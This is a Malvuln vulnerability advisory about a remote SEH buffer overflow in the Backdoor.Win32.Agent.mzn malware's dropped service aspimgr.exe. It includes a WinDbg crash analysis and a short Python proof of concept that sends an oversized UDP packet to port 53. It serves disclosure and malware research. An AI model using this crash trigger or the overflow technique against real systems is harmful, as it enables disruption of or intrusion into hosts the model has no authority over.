Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/f589ae5fb7879eb0b98fb8096d7152a5.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Agent.mzn Vulnerability: Remote SEH Buffer Overflow Description: Agent.mzn drops an executable named "aspimgr.exe" that runs with SYSTEM integrity, listening on TCP port 80 and UDP 53. Attackers who can reach the infected system can send a specially crafted packet to UDP port 53 and trigger a SEH based buffer overflow overwriting the structured exception handler. Type: PE32 MD5: f589ae5fb7879eb0b98fb8096d7152a5 Vuln ID: MVID-2021-0134 Dropped files: aspimgr.exe ASLR: False DEP: False Safe SEH: True :( Disclosure: 03/16/2021 Memory Dump: (390.b8): Stack buffer overflow - code c0000409 (first/second chance not available) eax=00000000 ebx=00000000 ecx=00454741 edx=0327efe4 esi=00000000 edi=00000002 eip=7710ed3c esp=0327e708 ebp=0327e748 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 ntdll!ZwWaitForMultipleObjects+0xc: 7710ed3c c21400 ret 14h 0:005> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* Failed calling InternetOpenUrl, GLE=12029 FAULTING_IP: kernel32!lstrcpyA+1c 761d7c7c 880c16 mov byte ptr [esi+edx],cl EXCEPTION_RECORD: 0327e908 -- (.exr 0x327e908) ExceptionAddress: 761d7c7c (kernel32!lstrcpyA+0x0000001c) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000008 NumberParameters: 2 Parameter[0]: 00000001 Parameter[1]: 03280000 Attempt to write to address 03280000 PROCESS_NAME: aspimgr.exe ERROR_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application. EXCEPTION_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application. EXCEPTION_PARAMETER1: 00000015 MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 CONTEXT: 0327e958 -- (.cxr 0x327e958) eax=0327fe34 ebx=000002fc ecx=00454741 edx=0327efe4 esi=0000101c edi=0327fe34 eip=761d7c7c esp=0327edb8 ebp=0327ede0 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 kernel32!lstrcpyA+0x1c: 761d7c7c 880c16 mov byte ptr [esi+edx],cl ds:002b:03280000=?? Resetting default scope WRITE_ADDRESS: 03280000 FOLLOWUP_IP: kernel32!lstrcpyA+1c 761d7c7c 880c16 mov byte ptr [esi+edx],cl ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD] LAST_CONTROL_TRANSFER: from 0040696f to 761d7c7c FAULTING_THREAD: ffffffff BUGCHECK_STR: APPLICATION_FAULT_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_EXPLOITABLE_STACKIMMUNE PRIMARY_PROBLEM_CLASS: STACK_BUFFER_OVERRUN_STACKIMMUNE DEFAULT_BUCKET_ID: STACK_BUFFER_OVERRUN_STACKIMMUNE STACK_TEXT: 00000000 00000000 aspimgr.exe+0x0 STACK_COMMAND: .cxr 000000000327E958 ; kb ; ** Pseudo Context ** ; kb SYMBOL_NAME: aspimgr.exe FOLLOWUP_NAME: MachineOwner MODULE_NAME: aspimgr IMAGE_NAME: aspimgr.exe DEBUG_FLR_IMAGE_TIMESTAMP: 487f3031 FAILURE_BUCKET_ID: STACK_BUFFER_OVERRUN_STACKIMMUNE_c0000409_aspimgr.exe!Unknown BUCKET_ID: APPLICATION_FAULT_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_EXPLOITABLE_STACKIMMUNE_MISSING_GSFRAME_aspimgr.exe 0:005> !exchain 0327e7c0: ntdll!_except_handler4+0 (77116a50) CRT scope 0, func: ntdll!RtlReportExceptionHelper+251 (771557ad) 0327edd0: kernel32!_except_handler4+0 (761ed450) CRT scope 0, filter: kernel32!lstrcpyA+2d (761d7c8d) func: kernel32!lstrcpyA+40 (761d7ca0) 0327ff68: 41414141 Invalid exception stack at 41414141 Exploit/PoC: from socket import * MALWARE_HOST="x.x.x.x" PORT=53 def doit(): s=socket(AF_INET, SOCK_DGRAM) s.connect((MALWARE_HOST, PORT)) JUNK="A"*2000 Dirty0tis_made_me_do_it="GET /"+JUNK+" HTTP/1.0\r\nHost: "+JUNK+"\r\n\r\n" s.send(Dirty0tis_made_me_do_it) s.close() print("Backdoor.Win32.Agent.mzn / Remote SEH Buffer Overflow") print("MD5: f589ae5fb7879eb0b98fb8096d7152a5") print("By Malvuln") if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. 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